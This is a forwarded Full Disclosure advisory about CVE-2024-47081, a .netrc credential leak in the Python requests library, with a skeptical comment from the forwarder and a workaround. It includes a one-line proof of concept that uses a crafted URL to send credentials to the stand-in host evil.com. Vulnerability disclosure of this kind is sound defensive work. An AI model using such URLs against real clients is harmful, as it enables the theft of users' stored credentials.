CVE-2024-47081: Netrc credential leak in PSF requests library

[Alan Coopersmith <alan.coopersmith () oracle com>]

[I'm not sure how the attacker is supposed to get the victim to make a
 requests call using a URL the attacker controls, but that didn't stop
 them from getting a CVE issued for this. -alan- ]


-------- Forwarded Message --------
Subject: [FD] CVE-2024-47081: Netrc credential leak in PSF requests library
Date: Sat, 31 May 2025 06:30:50 +0000
From: Juho Forsén via Fulldisclosure <fulldisclosure () seclists org>
Reply-To: Juho Forsén <jupenur () protonmail ch>
To: fulldisclosure () seclists org <fulldisclosure () seclists org>

The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc 
credentials to third parties due to incorrect URL processing under specific conditions.

Issuing the following API call triggers the vulnerability:

  requests.get('http://example.com:@evil.com/&apos;)

Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call.

The root cause is 
https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245

The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. 
CVE-2024-47081 has been reserved by GitHub for this issue.

As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access.
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